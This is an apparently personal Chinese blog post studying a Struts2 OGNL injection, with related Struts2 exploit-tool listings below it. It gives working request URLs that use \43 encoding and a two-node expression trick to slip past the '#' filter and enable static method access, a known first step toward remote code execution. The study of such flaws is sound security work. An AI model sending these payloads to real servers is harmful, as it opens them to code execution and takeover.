`

struts2远程执行漏洞学习(二)

 
阅读更多

  http://commons.apache.org/ognl/language-guide.html

这个是ognl的官网,在这里能看到不少这个ognl的表达式的介绍。

下来开始测试,

 

我首先选择的是struts2.1.18版本这是一个简单的赋值测试,目的是改变context中的

43_memberAccess['allowStaticMethodAccess']=true,这个事webwork中很重要的一个参数,他决定了你是否可以在ognl表达式中使用静态方法,这个在后面的使用中十分重要。

 

 

 

http://localhost:8080/sr218/ice.action?#_memberAccess['allowStaticMethodAccess']=true

 

实际上这句话并不能很好的完成工作,因为struts2中的xwork过滤掉了#,这里就是这个漏洞的起始点,虽然他过滤掉了#

但是我们可以使用\u0020  \43   \043 ,分别是16进制的unicode编码,8进制的编码这三种方式绕过对#的过滤

http://localhost:8080/sr218/ice.action?\43_memberAccess['allowStaticMethodAccess']=true

 

但是如果这样依旧会有问题,会产生无法解析的语法树,因为\43这样的他是直接无法解析的,需要用'号括起来

http://localhost:8080/sr218/ice.action?'\43_memberAccess[\'allowStaticMethodAccess\']'=true
由于外层有了单引号,所以内层也要对单引号做转义。这样的语句就可以正常生成ast树了

 

接下来问题实际上是现在这样仍然无法识别出#_memberAccess['allowStaticMethodAccess'],所以这里才用了个小技巧,构造了复杂一些的ast树

('\43_memberAccess[\'allowStaticMethodAccess\']')(a)

这样的ast树实际上是有两个节点,

('\43_memberAccess[\'allowStaticMethodAccess\']')(b)=true

然后赋值就可以了,这里我觉得之所以需要构建2层语法树,实质上是和转义有关的。

 

 

http://localhost:8080/sr218/ice.action?('\43_memberAccess[\'allowStaticMethodAccess\']')(b)=true

这就是对



 
对这个context中控制ognl关键变量的改变。
 

 

当然我们还有另一种写法

http://localhost:8080/sr218/ice.action?('\43_memberAccess.allowStaticMethodAccess')(b)=true

这样的写法也是可以的,而且比较简洁,就看你怎么选了

  • 大小: 20.6 KB
分享到:
评论

相关推荐

    Struts2远程命令执行漏洞解析

    Struts2远程命令执行漏洞解析 漏洞解析 远程命令 Struts2

    Struts2远程代码执行漏洞分析(S2-013)1

    Struts2 远程代码执行漏洞分析(S2-013) Struts2 是 Apache 官方的产品,最近出了一个远程代码执行漏洞,编号“S2-013”,目前是 0DAY,官方没有修补方案出现。这个漏洞出现在 includeParams 属性中,允许远程命令...

    struts2漏洞利用工具

    然而,Struts2在历史上曾出现过一系列的安全漏洞,其中一些是高危的,允许攻击者执行远程代码或控制系统。这个"Struts终极漏洞利用工具"显然旨在帮助安全研究人员和管理员检测和测试Struts2应用是否存在这些已知漏洞...

    Struts2远程命令执行验证工具

    1. **快速检测**:该工具能够迅速扫描并检测出是否存在Struts2远程命令执行漏洞,节省了手动检查的时间和精力。 2. **批量导入验证**:对于大型网络环境,支持批量导入多个目标URL,进行批量检测,提高了工作效率。...

    Struts2远程执行漏洞 Jar包集合体

    然而,随着时间的推移,Struts2框架发现了一系列的安全漏洞,这些漏洞可能导致远程代码执行(RCE)风险,使攻击者能够完全控制受影响的服务器。在给定的标题和描述中,提到了几个关键的Struts2漏洞,包括S2-057、S2-...

    Struts 2 远程代码执行漏洞(s2-045\s2-046)修复所用到的包

    升级到2.3.32所用到的jar包: freemarker-2.3.22.jar ognl-3.0.19.jar struts2-convention-plugin-2.3.32.jar struts2-core-2.3.32.jar struts2-spring-plugin-2.3.32.jar xwork-core-2.3.32.jar --来源 ...

    全网最全Struts 2 全版本漏洞检测工具,最新struts漏洞更新

    其中,最著名的漏洞是CVE-2017-5638,也就是“S2-045”或“Struts Shatter”,这是一个严重影响Struts 2的远程命令执行漏洞,允许攻击者通过HTTP头注入恶意OGNL表达式,从而控制系统。 该全版本漏洞检测工具可能...

    Struts2 S2-029远程代码执行漏洞初探1

    Struts2 S2-029 远程代码执行漏洞初探 Struts2 是一个基于 Java 的 Web 框架,使用 OGNL 表达式来访问 ActionContext 中的对象数据。在 Struts2 中,标签库使用 OGNL 表达式来获取对象数据,例如 `...

    struts2 最新漏洞 S2-016、S2-017修补方案 .docx

    最近,Struts2 发生了两个严重的漏洞,分别是 S2-016 和 S2-017,这两个漏洞可能会导致攻击者执行恶意代码,从而危害到网站的安全。 S2-016 漏洞是由于 Struts2 的 Ognl 表达式语言解析器存在缺陷,从而导致攻击者...

    Struts2漏洞检查工具Struts2.2019.V2.3

    1. OGNL(Object-Graph Navigation Language)表达式注入:这是Struts2最著名的漏洞类型,由于框架在处理用户输入时没有进行充分的过滤和验证,攻击者可以通过构造恶意的OGNL表达式来执行任意代码,从而导致远程代码...

    Struts2漏洞利用工具

    Struts2是一个基于MVC设计模式的Web...当Struts2开启devMode模式时,将导致严重远程代码执行漏洞。如果WebService启动权限为最高权限时,可远程执行任意命令,包括关机、建立新用户、以及删除服务器上所有文件等等。

    Struts2漏洞检查工具2018版.zip

    然而,随着广泛的应用,Struts2也暴露出一些安全问题,其中最著名的是Struts2远程代码执行漏洞,这可能导致恶意攻击者完全控制受影响的服务器。 2018年,针对Struts2的安全漏洞,出现了多个重要的更新和补丁。...

    Struts2漏洞检查工具2018版.rar

    1. **S2-045**:这是一个远程代码执行漏洞,允许攻击者通过精心构造的HTTP请求头来执行任意代码。 2. **S2-048**:这个漏洞允许攻击者通过修改Content-Type字段来执行任意代码。 3. **S2-057**:与S2-045类似,也是...

    Struts2-045漏洞利用工具

    这个漏洞源于Struts2的一个核心组件,即OGNL(Object-Graph Navigation Language)表达式处理方式,它允许恶意用户通过HTTP请求注入恶意代码,从而可能导致远程代码执行(RCE)。 Apache Struts2是一个非常流行的...

    struts2漏洞s2-045,不升级jar版本的修补方法,已验证.docx

    Struts2 漏洞 S2-045 修补方法 Struts2 是一个基于 Java 的 Web 应用程序框架,广泛应用于企业级应用程序中。然而,Struts2 中存在着一些漏洞,例如 S2-045 漏洞,该漏洞可能会导致严重的安全问题。今天,我们将...

    struts2远程命令执行环境搭建及录屏

    struts2远程命令执行漏洞环境搭建以及录屏

    K8 Struts2 Exp 20160516(Struts2综合漏洞利用工具)

    1. **CVE-2016-1000031**:这是Struts2中最著名的一个漏洞,被称为"远程代码执行"漏洞。攻击者可以通过构造特定的HTTP请求头来执行任意系统命令,从而获取服务器权限,对系统造成破坏或数据泄露。 2. **Ognl注入**...

    Struts2漏洞利用工具2019版 V2.3.zip

    "cmd.txt" 文件可能包含了命令行参数或脚本,这些命令和脚本用于执行漏洞探测和利用过程。例如,它可能包含用于构造恶意请求的OGNL表达式,或者用于在成功利用后执行的系统命令。对于安全专家来说,分析这些命令可以...

    远程命令执行漏洞

    Struts2是一款流行的Java Web框架,它曾经曝出过一个严重的远程命令执行漏洞。 在描述中提到的"NULL"可能是指该漏洞的具体细节没有给出,但我们可以从标签"源码"和"工具"推测,这可能涉及到源代码分析和利用工具。...

Global site tag (gtag.js) - Google Analytics